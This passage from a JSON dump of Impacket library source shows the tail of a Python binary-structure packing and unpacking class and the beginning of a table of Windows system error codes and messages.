self.__class__),)\n                else:\n                    e.args += (\"When packing field '%s | %s' in %s\" % (field[0], field[1], self.__class__),)\n                raise\n            if self.alignment:\n                if len(data) % self.alignment:\n                    data += (b'\\x00'*self.alignment)[:-(len(data) % self.alignment)]\n            \n        #if len(data) % self.alignment: data += ('\\x00'*self.alignment)[:-(len(data) % self.alignment)]\n        return data\n\n    def fromString(self, data):\n        self.rawData = data\n        for field in self.commonHdr+self.structure:\n            if self.debug:\n                print(\"fromString( %s | %s | %r )\" % (field[0], field[1], data))\n            size = self.calcUnpackSize(field[1], data, field[0])\n            if self.debug:\n                print(\"  size = %d\" % size)\n            dataClassOrCode = b\n            if len(field) > 2:\n                dataClassOrCode = field[2]\n            try:\n                self[field[0]] = self.unpack(field[1], data[:size], dataClassOrCode = dataClassOrCode, field = field[0])\n            except Exception as e:\n                e.args += (\"When unpacking field '%s | %s | %r[:%d]'\" % (field[0], field[1], data, size),)\n                raise\n\n            size = self.calcPackSize(field[1], self[field[0]], field[0])\n            if self.alignment and size % self.alignment:\n                size += self.alignment - (size % self.alignment)\n            data = data[size:]\n\n        return self\n\n    def __setitem__(self, key, value):\n        self.fields[key] = value\n        self.data = None        # force recompute\n\n    def __getitem__(self, key):\n        return self.fields[key]\n\n    def __delitem__(self, key):\n        del self.fields[key]\n\n    def __str__(self):\n        return str(hexlify(self.getData()).decode(\"ascii\"))\n\n    def __len__(self):\n        # XXX: improve\n        return len(self.getData())\n\n    def pack(self, format, data, field = None):\n        if self.debug:\n            print(\"  pack( %s | %r | %s)\" %  (format, data, field))\n\n        if field:\n            addressField = self.findAddressFieldFor(field)\n            if (addressField is not None) and (data is None):\n                return b''\n\n        # void specifier\n        if format[:1] == '_':\n            return b''\n\n        # quote specifier\n        if format[:1] == \"'\" or format[:1] == '\"':\n            return self.b(format[1:])\n\n        # code specifier\n        two = format.split('=')\n        if len(two) >= 2:\n            try:\n                return self.pack(two[0], data)\n            except:\n                fields = {'self':self}\n                fields.update(self.fields)\n                return self.pack(two[0], eval(two[1], {}, fields))\n\n        # address specifier\n        two = format.split('&')\n        if len(two) == 2:\n            try:\n                return self.pack(two[0], data)\n            except:\n                if (two[1] in self.fields) and (self[two[1]] is not None):\n                    return self.pack(two[0], id(self[two[1]]) & ((1<<(calcsize(two[0])*8))-1) )\n                else:\n                    return self.pack(two[0], 0)\n\n        # length specifier\n        two = format.split('-')\n        if len(two) == 2:\n            try:\n                return self.pack(two[0],data)\n            except:\n                return self.pack(two[0], self.calcPackFieldSize(two[1]))\n\n        # array specifier\n        two = format.split('*')\n        if len(two) == 2:\n            answer = bytes()\n            for each in data:\n                answer += self.pack(two[1], each)\n            if two[0]:\n                if two[0].isdigit():\n                    if int(two[0]) != len(data):\n                        raise Exception(\"Array field has a constant size, and it doesn't match the actual value\")\n                else:\n                    return self.pack(two[0], len(data))+answer\n            return answer\n\n        # \"printf\" string specifier\n        if format[:1] == '%':\n            # format string like specifier\n            return self.b(format % data)\n\n        # asciiz specifier\n        if format[:1] == 'z':\n            if isinstance(data,bytes):\n                return data + self.b('\\0')\n            return bytes(self.b(data)+self.b('\\0'))\n\n        # unicode specifier\n        if format[:1] == 'u':\n            return bytes(data+self.b('\\0\\0') + (len(data) & 1 and self.b('\\0') or b''))\n\n        # DCE-RPC/NDR string specifier\n        if format[:1] == 'w':\n            if len(data) == 0:\n                data = self.b('\\0\\0')\n            elif len(data) % 2:\n                data = self.b(data) + self.b('\\0')\n            l = pack('<L', len(data)//2)\n            return b''.join([l, l, self.b('\\0\\0\\0\\0'), data])\n\n        if data is None:\n            raise Exception(\"Trying to pack None\")\n        \n        # literal specifier\n        if format[:1] == ':':\n            if isinstance(data, Structure):\n                return data.getData()\n            # If we have an object that can serialize itself, go ahead\n            elif hasattr(data, \"getData\"):\n                return data.getData()\n            elif isinstance(data, int):\n                return bytes(data)\n            elif isinstance(data, bytes) is not True:\n                return bytes(self.b(data))\n            else:\n                return data\n\n        if format[-1:] == 's':\n            # Let's be sure we send the right type\n            if isinstance(data, bytes) or isinstance(data, bytearray):\n                return pack(format, data)\n            else:\n                return pack(format, self.b(data))\n\n        # struct like specifier\n        return pack(format, data)\n\n    def unpack(self, format, data, dataClassOrCode = b, field = None):\n        if self.debug:\n            print(\"  unpack( %s | %r )\" %  (format, data))\n\n        if field:\n            addressField = self.findAddressFieldFor(field)\n            if addressField is not None:\n                if not self[addressField]:\n                    return\n\n        # void specifier\n        if format[:1] == '_':\n            if dataClassOrCode != b:\n                fields = {'self':self, 'inputDataLeft':data}\n                fields.update(self.fields)\n                return eval(dataClassOrCode, {}, fields)\n            else:\n                return None\n\n        # quote specifier\n        if format[:1] == \"'\" or format[:1] == '\"':\n            answer = format[1:]\n            if self.b(answer) != data:\n                raise Exception(\"Unpacked data doesn't match constant value '%r' should be '%r'\" % (data, answer))\n            return answer\n\n        # address specifier\n        two = format.split('&')\n        if len(two) == 2:\n            return self.unpack(two[0],data)\n\n        # code specifier\n        two = format.split('=')\n        if len(two) >= 2:\n            return self.unpack(two[0],data)\n\n        # length specifier\n        two = format.split('-')\n        if len(two) == 2:\n            return self.unpack(two[0],data)\n\n        # array specifier\n        two = format.split('*')\n        if len(two) == 2:\n            answer = []\n            sofar = 0\n            if two[0].isdigit():\n                number = int(two[0])\n            elif two[0]:\n                sofar += self.calcUnpackSize(two[0], data)\n                number = self.unpack(two[0], data[:sofar])\n            else:\n                number = -1\n\n            while number and sofar < len(data):\n                nsofar = sofar + self.calcUnpackSize(two[1],data[sofar:])\n                answer.append(self.unpack(two[1], data[sofar:nsofar], dataClassOrCode))\n                number -= 1\n                sofar = nsofar\n            return answer\n\n        # \"printf\" string specifier\n        if format[:1] == '%':\n            # format string like specifier\n            return format % data\n\n        # asciiz specifier\n        if format == 'z':\n            if data[-1:] != self.b('\\x00'):\n                raise Exception(\"%s 'z' field is not NUL terminated: %r\" % (field, data))\n            if PY3:\n                return data[:-1].decode('latin-1')\n            else:\n                return data[:-1]\n\n        # unicode specifier\n        if format == 'u':\n            if data[-2:] != self.b('\\x00\\x00'):\n                raise Exception(\"%s 'u' field is not NUL-NUL terminated: %r\" % (field, data))\n            return data[:-2] # remove trailing NUL\n\n        # DCE-RPC/NDR string specifier\n        if format == 'w':\n            l = unpack('<L', data[:4])[0]\n            return data[12:12+l*2]\n\n        # literal specifier\n        if format == ':':\n            if isinstance(data, bytes) and dataClassOrCode is b:\n                return data\n            return dataClassOrCode(data)\n\n        # struct like specifier\n        return unpack(format, data)[0]\n\n    def calcPackSize(self, format, data, field = None):\n#        # print \"  calcPackSize  %s:%r\" %  (format, data)\n        if field:\n            addressField = self.findAddressFieldFor(field)\n            if addressField is not None:\n                if not self[addressField]:\n                    return 0\n\n        # void specifier\n        if format[:1] == '_':\n            return 0\n\n        # quote specifier\n        if format[:1] == \"'\" or format[:1] == '\"':\n            return len(format)-1\n\n        # address specifier\n        two = format.split('&')\n        if len(two) == 2:\n            return self.calcPackSize(two[0], data)\n\n        # code specifier\n        two = format.split('=')\n        if len(two) >= 2:\n            return self.calcPackSize(two[0], data)\n\n        # length specifier\n        two = format.split('-')\n        if len(two) == 2:\n            return self.calcPackSize(two[0], data)\n\n        # array specifier\n        two = format.split('*')\n        if len(two) == 2:\n            answer = 0\n            if two[0].isdigit():\n                    if int(two[0]) != len(data):\n                        raise Exception(\"Array field has a constant size, and it doesn't match the actual value\")\n            elif two[0]:\n                answer += self.calcPackSize(two[0], len(data))\n\n            for each in data:\n                answer += self.calcPackSize(two[1], each)\n            return answer\n\n        # \"printf\" string specifier\n        if format[:1] == '%':\n            # format string like specifier\n            return len(format % data)\n\n        # asciiz specifier\n        if format[:1] == 'z':\n            return len(data)+1\n\n        # asciiz specifier\n        if format[:1] == 'u':\n            l = len(data)\n            return l + (l & 1 and 3 or 2)\n\n        # DCE-RPC/NDR string specifier\n        if format[:1] == 'w':\n            l = len(data)\n            return 12+l+l % 2\n\n        # literal specifier\n        if format[:1] == ':':\n            return len(data)\n\n        # struct like specifier\n        return calcsize(format)\n\n    def calcUnpackSize(self, format, data, field = None):\n        if self.debug:\n            print(\"  calcUnpackSize( %s | %s | %r)\" %  (field, format, data))\n\n        # void specifier\n        if format[:1] == '_':\n            return 0\n\n        addressField = self.findAddressFieldFor(field)\n        if addressField is not None:\n            if not self[addressField]:\n                return 0\n\n        try:\n            lengthField = self.findLengthFieldFor(field)\n            return int(self[lengthField])\n        except Exception:\n            pass\n\n        # XXX: Try to match to actual values, raise if no match\n        \n        # quote specifier\n        if format[:1] == \"'\" or format[:1] == '\"':\n            return len(format)-1\n\n        # address specifier\n        two = format.split('&')\n        if len(two) == 2:\n            return self.calcUnpackSize(two[0], data)\n\n        # code specifier\n        two = format.split('=')\n        if len(two) >= 2:\n            return self.calcUnpackSize(two[0], data)\n\n        # length specifier\n        two = format.split('-')\n        if len(two) == 2:\n            return self.calcUnpackSize(two[0], data)\n\n        # array specifier\n        two = format.split('*')\n        if len(two) == 2:\n            answer = 0\n            if two[0]:\n                if two[0].isdigit():\n                    number = int(two[0])\n                else:\n                    answer += self.calcUnpackSize(two[0], data)\n                    number = self.unpack(two[0], data[:answer])\n\n                while number:\n                    number -= 1\n                    answer += self.calcUnpackSize(two[1], data[answer:])\n            else:\n                while answer < len(data):\n                    answer += self.calcUnpackSize(two[1], data[answer:])\n            return answer\n\n        # \"printf\" string specifier\n        if format[:1] == '%':\n            raise Exception(\"Can't guess the size of a printf like specifier for unpacking\")\n\n        # asciiz specifier\n        if format[:1] == 'z':\n            return data.index(self.b('\\x00'))+1\n\n        # asciiz specifier\n        if format[:1] == 'u':\n            # Positive lookahead to find overlapping NUL-NUL terminators (something like \\x00\\x00\\x00 has 1 overlap)\n            matches = self.NULL_NULL_TERMINATOR_REGEX.finditer(data)\n            for a_match in matches:\n                if a_match.start() % 2 == 0:    # \\x00\\x00 at an even index\n                    return a_match.start() + 2\n\n            # NUL-NUL terminator not found\n            hex_data = str(hexlify(data).decode('ascii'))\n            utf16_chunks = [hex_data[i:i + 4] for i in range(0, len(hex_data), 4)]\n            raise ValueError(\"Can't find NUL-NUL terminator in UTF-16le string '%s'\" % ' '.join(utf16_chunks))\n\n        # DCE-RPC/NDR string specifier\n        if format[:1] == 'w':\n            l = unpack('<L', data[:4])[0]\n            return 12+l*2\n\n        # literal specifier\n        if format[:1] == ':':\n            return len(data)\n\n        # struct like specifier\n        return calcsize(format)\n\n    def calcPackFieldSize(self, fieldName, format = None):\n        if format is None:\n            format = self.formatForField(fieldName)\n\n        return self.calcPackSize(format, self[fieldName])\n\n    def formatForField(self, fieldName):\n        for field in self.commonHdr+self.structure:\n            if field[0] == fieldName:\n                return field[1]\n        raise Exception(\"Field %s not found\" % fieldName)\n\n    def findAddressFieldFor(self, fieldName):\n        descriptor = '&%s' % fieldName\n        l = len(descriptor)\n        for field in self.commonHdr+self.structure:\n            if field[1][-l:] == descriptor:\n                return field[0]\n        return None\n        \n    def findLengthFieldFor(self, fieldName):\n        descriptor = '-%s' % fieldName\n        l = len(descriptor)\n        for field in self.commonHdr+self.structure:\n            if field[1][-l:] == descriptor:\n                return field[0]\n        return None\n        \n    def zeroValue(self, format):\n        two = format.split('*')\n        if len(two) == 2:\n            if two[0].isdigit():\n                return (self.zeroValue(two[1]),)*int(two[0])\n                        \n        if not format.find('*') == -1:\n            return ()\n        if 's' in format:\n            return b''\n        if format in ['z',':','u']:\n            return b''\n        if format == 'w':\n            return self.b('\\x00\\x00')\n\n        return 0\n\n    def clear(self):\n        for field in self.commonHdr + self.structure:\n            self[field[0]] = self.zeroValue(field[1])\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        ind = ' '*indent\n        print(\"\\n%s\" % msg)\n        fixedFields = []\n        for field in self.commonHdr+self.structure:\n            i = field[0] \n            if i in self.fields:\n                fixedFields.append(i)\n                if isinstance(self[i], Structure):\n                    self[i].dump('%s%s:{' % (ind,i), indent = indent + 4)\n                    print(\"%s}\" % ind)\n                else:\n                    print(\"%s%s: {%r}\" % (ind,i,self[i]))\n        # Do we have remaining fields not defined in the structures? let's \n        # print them\n        remainingFields = list(set(self.fields) - set(fixedFields))\n        for i in remainingFields:\n            if isinstance(self[i], Structure):\n                self[i].dump('%s%s:{' % (ind,i), indent = indent + 4)\n                print(\"%s}\" % ind)\n            else:\n                print(\"%s%s: {%r}\" % (ind,i,self[i]))\n\ndef pretty_print(x):\n    if chr(x) in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~ ':\n       return chr(x)\n    else:\n       return u'.'\n\ndef hexdump(data, indent = ''):\n    if data is None:\n        return\n    if isinstance(data, int):\n        data = str(data).encode('utf-8')\n    x=bytearray(data)\n    strLen = len(x)\n    i = 0\n    while i < strLen:\n        line = \" %s%04x   \" % (indent, i)\n        for j in range(16):\n            if i+j < strLen:\n                line += \"%02X \" % x[i+j]\n            else:\n                line += u\"   \"\n            if j%16 == 7:\n                line += \" \"\n        line += \"  \"\n        line += ''.join(pretty_print(x) for x in x[i:i+16] )\n        print (line)\n        i += 16\n\ndef parse_bitmask(dict, value):\n    ret = ''\n    \n    for i in range(0, 31):\n        flag = 1 << i\n\n        if value & flag == 0:\n            continue\n\n        if flag in dict:\n            ret += '%s | ' % dict[flag]\n        else:\n            ret += \"0x%.8X | \" % flag\n\n    if len(ret) == 0:\n        return '0'\n    else:\n        return ret[:-3]\n"
  },
  {
    "path": "impacket/system_errors.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SYSTEM Errors from [MS-ERREF]. Ideally all the files\n#   should grab the error codes from here\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nERROR_MESSAGES = {\n        0x00000000: (\"ERROR_SUCCESS\", \"The operation completed successfully.\"),\n        0x00000001: (\"ERROR_INVALID_FUNCTION\", \"Incorrect function.\"),\n        0x00000002: (\"ERROR_FILE_NOT_FOUND\", \"The system cannot find the file specified.\"),\n        0x00000003: (\"ERROR_PATH_NOT_FOUND\", \"The system cannot find the path specified.\"),\n        0x00000004: (\"ERROR_TOO_MANY_OPEN_FILES\", \"The system cannot open the file.\"),\n        0x00000005: (\"ERROR_ACCESS_DENIED\", \"Access is denied.\"),\n        0x00000006: (\"ERROR_INVALID_HANDLE\", \"The handle is invalid.\"),\n        0x00000007: (\"ERROR_ARENA_TRASHED\", \"The storage control blocks were destroyed.\"),\n        0x00000008: (\"ERROR_NOT_ENOUGH_MEMORY\", \"Not enough storage is available to process this command.\"),\n        0x00000009: (\"ERROR_INVALID_BLOCK\", \"The storage control block address is invalid.\"),\n        0x0000000a: (\"ERROR_BAD_ENVIRONMENT\", \"The environment is incorrect.\"),\n        0x0000000b: (\"ERROR_BAD_FORMAT\", \"An attempt was made to load a program with an incorrect format.\"),\n        0x0000000c: (\"ERROR_INVALID_ACCESS\", \"The access code is invalid.\"),\n        0x0000000d: (\"ERROR_INVALID_DATA\", \"The data is invalid.\"),\n        0x0000000e: (\"ERROR_OUTOFMEMORY\", \"Not enough storage is available to complete this operation.\"),\n        0x0000000f: (\"ERROR_INVALID_DRIVE\", \"The system cannot find the drive specified.\"),\n        0x00000010: (\"ERROR_CURRENT_DIRECTORY\", \"The directory cannot be removed.\"),\n        0x00000011: (\"ERROR_NOT_SAME_DEVICE\", \"The system cannot move the file to a different disk drive.\"),\n        0x00000012: (\"ERROR_NO_MORE_FILES\", \"There are no more files.\"),\n        0x00000013: (\"ERROR_WRITE_PROTECT\", \"The media is write protected.\"),\n        0x00000014: (\"ERROR_BAD_UNIT\", \"The system cannot find the device specified.\"),\n        0x00000015: (\"ERROR_NOT_READY\", \"The device is not ready.\"),\n        0x00000016: (\"ERROR_BAD_COMMAND\", \"The device does not recognize the command.\"),\n        0x00000017: (\"ERROR_CRC\", \"Data error (cyclic redundancy check).\"),\n        0x00000018: (\"ERROR_BAD_LENGTH\", \"The program issued a command but the command length is incorrect.\"),\n        0x00000019: (\"ERROR_SEEK\", \"The drive cannot locate a specific area or track on the disk.\"),\n        0x0000001a: (\"ERROR_NOT_DOS_DISK\", \"The specified disk or diskette cannot be accessed.\"),\n        0x0000001b: (\"ERROR_SECTOR_NOT_FOUND\", \"The drive cannot find the sector requested.\"),\n        0x0000001c: (\"ERROR_OUT_OF_PAPER\", \"The printer is out of paper.\"),\n        0x0000001d: (\"ERROR_WRITE_FAULT\", \"The system cannot write to the specified device.\"),\n        0x0000001e: (\"ERROR_READ_FAULT\", \"The system cannot read from the specified device.\"),\n        0x0000001f: (\"ERROR_GEN_FAILURE\", \"A device attached to the system is not functioning.\"),\n        0x00000020: (\"ERROR_SHARING_VIOLATION\", \"The process cannot access the file because it is being used by another process.\"),\n        0x00000021: (\"ERROR_LOCK_VIOLATION\", \"The process cannot access the file because another process has locked a portion of the file.\"),\n        0x00000022: (\"ERROR_WRONG_DISK\", \"The wrong diskette is in the drive.\"),\n        0x00000024: (\"ERROR_SHARING_BUFFER_EXCEEDED\", \"Too many files opened for sharing.\"),\n        0x00000026: (\"ERROR_HANDLE_EOF\", \"Reached the end of the file.\"),\n        0x00000027: (\"ERROR_HANDLE_DISK_FULL\", \"The disk is full.\"),\n        0x00000032: (\"ERROR_NOT_SUPPORTED\", \"The request is not supported.\"),\n        0x00000033: (\"ERROR_REM_NOT_LIST\", \"Windows cannot find the network path. Verify that the network path is correct and the destination computer is not busy or turned off. If Windows still cannot find the network path, contact your network administrator.\"),\n        0x00000034: (\"ERROR_DUP_NAME\", \"You were not connected because a duplicate name exists on the network. If joining a domain, go to System in Control Panel to change the computer name and try again. If joining a workgroup, choose another workgroup name.\"),\n        0x00000035: (\"ERROR_BAD_NETPATH\", \"The network path was not found.\"),\n        0x00000036: (\"ERROR_NETWORK_BUSY\", \"The network is busy.\"),\n        0x00000037: (\"ERROR_DEV_NOT_EXIST\", \"The specified network resource or device is no longer available.\"),\n        0x00000038: (\"ERROR_TOO_MANY_CMDS\", \"The network BIOS command limit has been reached.\"),\n        0x00000039: (\"ERROR_ADAP_HDW_ERR\", \"A network adapter hardware error occurred.\"),\n        0x0000003a: (\"ERROR_BAD_NET_RESP\", \"The specified server cannot perform the requested operation.\"),\n        0x0000003b: (\"ERROR_UNEXP_NET_ERR\", \"An unexpected network error occurred.\"),\n        0x0000003c: (\"ERROR_BAD_REM_ADAP\", \"The remote adapter is not compatible.\"),\n        0x0000003d: (\"ERROR_PRINTQ_FULL\", \"The printer queue is full.\"),\n        0x0000003e: (\"ERROR_NO_SPOOL_SPACE\", \"Space to store the file waiting to be printed is not available on the server.\"),\n        0x0000003f: (\"ERROR_PRINT_CANCELLED\", \"Your file waiting to be printed was deleted.\"),\n        0x00000040: (\"ERROR_NETNAME_DELETED\", \"The specified network name is no longer available.\"),\n        0x00000041: (\"ERROR_NETWORK_ACCESS_DENIED\", \"Network access is denied.\"),\n        0x00000042: (\"ERROR_BAD_DEV_TYPE\", \"The network resource type is not correct.\"),\n        0x00000043: (\"ERROR_BAD_NET_NAME\", \"The network name cannot be found.\"),\n        0x00000044: (\"ERROR_TOO_MANY_NAMES\", \"The name limit for the local computer network adapter card was exceeded.\"),\n        0x00000045: (\"ERROR_TOO_MANY_SESS\", \"The network BIOS session limit was exceeded.\"),\n        0x00000046: (\"ERROR_SHARING_PAUSED\", \"The remote server has been paused or is in the process of being started.\"),\n        0x00000047: (\"ERROR_REQ_NOT_ACCEP\", \"No more connections can be made to this remote computer at this time because there are already as many connections as the computer can accept.\"),\n        0x00000048: (\"ERROR_REDIR_PAUSED\", \"The specified printer or disk device has been paused.\"),\n        0x00000050: (\"ERROR_FILE_EXISTS\", \"The file exists.\"),\n        0x00000052: (\"ERROR_CANNOT_MAKE\", \"The directory or file cannot be created.\"),\n        0x00000053: (\"ERROR_FAIL_I24\", \"Fail on INT 24.\"),\n        0x00000054: (\"ERROR_OUT_OF_STRUCTURES\", \"Storage to process this request is not available.\"),\n        0x00000055: (\"ERROR_ALREADY_ASSIGNED\", \"The local device name is already in use.\"),\n        0x00000056: (\"ERROR_INVALID_PASSWORD\", \"The specified network password is not correct.\"),\n        0x00000057: (\"ERROR_INVALID_PARAMETER\", \"The parameter is incorrect.\"),\n        0x00000058: (\"ERROR_NET_WRITE_FAULT\", \"A write fault occurred on the network.\"),\n        0x00000059: (\"ERROR_NO_PROC_SLOTS\", \"The system cannot start another process at this time.\"),\n        0x00000064: (\"ERROR_TOO_MANY_SEMAPHORES\", \"Cannot create another system semaphore.\"),\n        0x00000065: (\"ERROR_EXCL_SEM_ALREADY_OWNED\", \"The exclusive semaphore is owned by another process.\"),\n        0x00000066: (\"ERROR_SEM_IS_SET\", \"The semaphore is set and cannot be closed.\"),\n        0x00000067: (\"ERROR_TOO_MANY_SEM_REQUESTS\", \"The semaphore cannot be set again.\"),\n        0x00000068: (\"ERROR_INVALID_AT_INTERRUPT_TIME\", \"Cannot request exclusive semaphores at interrupt time.\"),\n        0x00000069: (\"ERROR_SEM_OWNER_DIED\", \"The previous ownership of this semaphore has ended.\"),\n        0x0000006a: (\"ERROR_SEM_USER_LIMIT\", \"Insert the diskette for drive %1.\"),\n        0x0000006b: (\"ERROR_DISK_CHANGE\", \"The program stopped because an alternate diskette was not inserted.\"),\n        0x0000006c: (\"ERROR_DRIVE_LOCKED\", \"The disk is in use or locked by another process.\"),\n        0x0000006d: (\"ERROR_BROKEN_PIPE\", \"The pipe has been ended.\"),\n        0x0000006e: (\"ERROR_OPEN_FAILED\", \"The system cannot open the device or file specified.\"),\n        0x0000006f: (\"ERROR_BUFFER_OVERFLOW\", \"The file name is too long.\"),\n        0x00000070: (\"ERROR_DISK_FULL\", \"There is not enough space on the disk.\"),\n        0x00000071: (\"ERROR_NO_MORE_SEARCH_HANDLES\", \"No more internal file identifiers available.\"),\n        0x00000072: (\"ERROR_INVALID_TARGET_HANDLE\", \"The target internal file identifier is incorrect.\"),\n        0x00000075: (\"ERROR_INVALID_CATEGORY\", \"The IOCTL call made by the application program is not correct.\"),\n        0x00000076: (\"ERROR_INVALID_VERIFY_SWITCH\", \"The verify-on-write switch parameter value is not correct.\"),\n        0x00000077: (\"ERROR_BAD_DRIVER_LEVEL\", \"The system does not support the command requested.\"),\n        0x00000078: (\"ERROR_CALL_NOT_IMPLEMENTED\", \"This function is not supported on this system.\"),\n        0x00000079: (\"ERROR_SEM_TIMEOUT\", \"The semaphore timeout period has expired.\"),\n        0x0000007a: (\"ERROR_INSUFFICIENT_BUFFER\", \"The data area passed to a system call is too small.\"),\n        0x0000007b: (\"ERROR_INVALID_NAME\", \"The filename, directory name, or volume label syntax is incorrect.\"),\n        0x0000007c: (\"ERROR_INVALID_LEVEL\", \"The system call level is not correct.\"),\n        0x0000007d: (\"ERROR_NO_VOLUME_LABEL\", \"The disk has no volume label.\"),\n        0x0000007e: (\"ERROR_MOD_NOT_FOUND\", \"The specified module could not be found.\"),\n        0x0000007f: (\"ERROR_PROC_NOT_FOUND\", \"The specified procedure could not be found.\"),\n        0x00000080: (\"ERROR_WAIT_NO_CHILDREN\", \"There are no child processes to wait for.\"),\n        0x00000081: (\"ERROR_CHILD_NOT_COMPLETE\", \"The %1 application cannot be run in Win32 mode.\"),\n        0x00000082: (\"ERROR_DIRECT_ACCESS_HANDLE\", \"Attempt to use a file handle to an open disk partition for an operation other than raw disk I/O.\"),\n        0x00000083: (\"ERROR_NEGATIVE_SEEK\", \"An attempt was made to move the file pointer before the beginning of the file.\"),\n        0x00000084: (\"ERROR_SEEK_ON_DEVICE\", \"The file pointer cannot be set on the specified device or file.\"),\n        0x00000085: (\"ERROR_IS_JOIN_TARGET\", \"A JOIN or SUBST command cannot be used for a drive that contains previously joined drives.\"),\n        0x00000086: (\"ERROR_IS_JOINED\", \"An attempt was made to use a JOIN or SUBST command on a drive that has already been joined.\"),\n        0x00000087: (\"ERROR_IS_SUBSTED\", \"An attempt was made to use a JOIN or SUBST command on a drive that has already been substituted.\"),\n        0x00000088: (\"ERROR_NOT_JOINED\", \"The system tried to delete the JOIN of a drive that is not joined.\"),\n        0x00000089: (\"ERROR_NOT_SUBSTED\", \"The system tried to delete the substitution of a drive that is not substituted.\"),\n        0x0000008a: (\"ERROR_JOIN_TO_JOIN\", \"The system tried to join a drive to a directory on a joined drive.\"),\n        0x0000008b: (\"ERROR_SUBST_TO_SUBST\", \"The system tried to substitute a drive to a directory on a substituted drive.\"),\n        0x0000008c: (\"ERROR_JOIN_TO_SUBST\", \"The system tried to join a drive to a directory on a substituted drive.\"),\n        0x0000008d: (\"ERROR_SUBST_TO_JOIN\", \"The system tried to SUBST a drive to a directory on a joined drive.\"),\n        0x0000008e: (\"ERROR_BUSY_DRIVE\", \"The system cannot perform a JOIN or SUBST at this time.\"),\n        0x0000008f: (\"ERROR_SAME_DRIVE\", \"The system cannot join or substitute a drive to or for a directory on the same drive.\"),\n        0x00000090: (\"ERROR_DIR_NOT_ROOT\", \"The directory is not a subdirectory of the root directory.\"),\n        0x00000091: (\"ERROR_DIR_NOT_EMPTY\", \"The directory is not empty.\"),\n        0x00000092: (\"ERROR_IS_SUBST_PATH\", \"The path specified is being used in a substitute.\"),\n        0x00000093: (\"ERROR_IS_JOIN_PATH\", \"Not enough resources are available to process this command.\"),\n        0x00000094: (\"ERROR_PATH_BUSY\", \"The path specified cannot be used at this time.\"),\n        0x00000095: (\"ERROR_IS_SUBST_TARGET\", \"An attempt was made to join or substitute a drive for which a directory on the drive is the target of a previous substitute.\"),\n        0x00000096: (\"ERROR_SYSTEM_TRACE\", \"System trace information was not specified in your CONFIG.SYS file, or tracing is disallowed.\"),\n        0x00000097: (\"ERROR_INVALID_EVENT_COUNT\", \"The number of specified semaphore events for DosMuxSemWait is not correct.\"),\n        0x00000098: (\"ERROR_TOO_MANY_MUXWAITERS\", \"DosMuxSemWait did not execute; too many semaphores are already set.\"),\n        0x00000099: (\"ERROR_INVALID_LIST_FORMAT\", \"The DosMuxSemWait list is not correct.\"),\n        0x0000009a: (\"ERROR_LABEL_TOO_LONG\", \"The volume label you entered exceeds the label character limit of the target file system.\"),\n        0x0000009b: (\"ERROR_TOO_MANY_TCBS\", \"Cannot create another thread.\"),\n        0x0000009c: (\"ERROR_SIGNAL_REFUSED\", \"The recipient process has refused the signal.\"),\n        0x0000009d: (\"ERROR_DISCARDED\", \"The segment is already discarded and cannot be locked.\"),\n        0x0000009e: (\"ERROR_NOT_LOCKED\", \"The segment is already unlocked.\"),\n        0x0000009f: (\"ERROR_BAD_THREADID_ADDR\", \"The address for the thread ID is not correct.\"),\n        0x000000a0: (\"ERROR_BAD_ARGUMENTS\", \"One or more arguments are not correct.\"),\n        0x000000a1: (\"ERROR_BAD_PATHNAME\", \"The specified path is invalid.\"),\n        0x000000a2: (\"ERROR_SIGNAL_PENDING\", \"A signal is already pending.\"),\n        0x000000a4: (\"ERROR_MAX_THRDS_REACHED\", \"No more threads can be created in the system.\"),\n        0x000000a7: (\"ERROR_LOCK_FAILED\", \"Unable to lock a region of a file.\"),\n        0x000000aa: (\"ERROR_BUSY\", \"The requested resource is in use.\"),\n        0x000000ab: (\"ERROR_DEVICE_SUPPORT_IN_PROGRESS\", \"Device's command support detection is in progress.\"),\n        0x000000ad: (\"ERROR_CANCEL_VIOLATION\", \"A lock request was not outstanding for the supplied cancel region.\"),\n        0x000000ae: (\"ERROR_ATOMIC_LOCKS_NOT_SUPPORTED\", \"The file system does not support atomic changes to the lock type.\"),\n        0x000000b4: (\"ERROR_INVALID_SEGMENT_NUMBER\", \"The system detected a segment number that was not correct.\"),\n        0x000000b6: (\"ERROR_INVALID_ORDINAL\", \"The operating system cannot run %1.\"),\n        0x000000b7: (\"ERROR_ALREADY_EXISTS\", \"Cannot create a file when that file already exists.\"),\n        0x000000ba: (\"ERROR_INVALID_FLAG_NUMBER\", \"The flag passed is not correct.\"),\n        0x000000bb: (\"ERROR_SEM_NOT_FOUND\", \"The specified system semaphore name was not found.\"),\n        0x000000bc: (\"ERROR_INVALID_STARTING_CODESEG\", \"The operating system cannot run %1.\"),\n        0x000000bd: (\"ERROR_INVALID_STACKSEG\", \"The operating system cannot run %1.\"),\n        0x000000be: (\"ERROR_INVALID_MODULETYPE\", \"The operating system cannot run %1.\"),\n        0x000000bf: (\"ERROR_INVALID_EXE_SIGNATURE\", \"Cannot run %1 in Win32 mode.\"),\n        0x000000c0: (\"ERROR_EXE_MARKED_INVALID\", \"The operating system cannot run %1.\"),\n        0x000000c1: (\"ERROR_BAD_EXE_FORMAT\", \"%1 is not a valid Win32 application.\"),\n        0x000000c2: (\"ERROR_ITERATED_DATA_EXCEEDS_64k\", \"The operating system cannot run %1.\"),\n        0x000000c3: (\"ERROR_INVALID_MINALLOCSIZE\", \"The operating system cannot run %1.\"),\n        0x000000c4: (\"ERROR_DYNLINK_FROM_INVALID_RING\", \"The operating system cannot run this application program.\"),\n        0x000000c5: (\"ERROR_IOPL_NOT_ENABLED\", \"The operating system is not presently configured to run this application.\"),\n        0x000000c6: (\"ERROR_INVALID_SEGDPL\", \"The operating system cannot run %1.\"),\n        0x000000c7: (\"ERROR_AUTODATASEG_EXCEEDS_64k\", \"The operating system cannot run this application program.\"),\n        0x000000c8: (\"ERROR_RING2SEG_MUST_BE_MOVABLE\", \"The code segment cannot be greater than or equal to 64K.\"),\n        0x000000c9: (\"ERROR_RELOC_CHAIN_XEEDS_SEGLIM\", \"The operating system cannot run %1.\"),\n        0x000000ca: 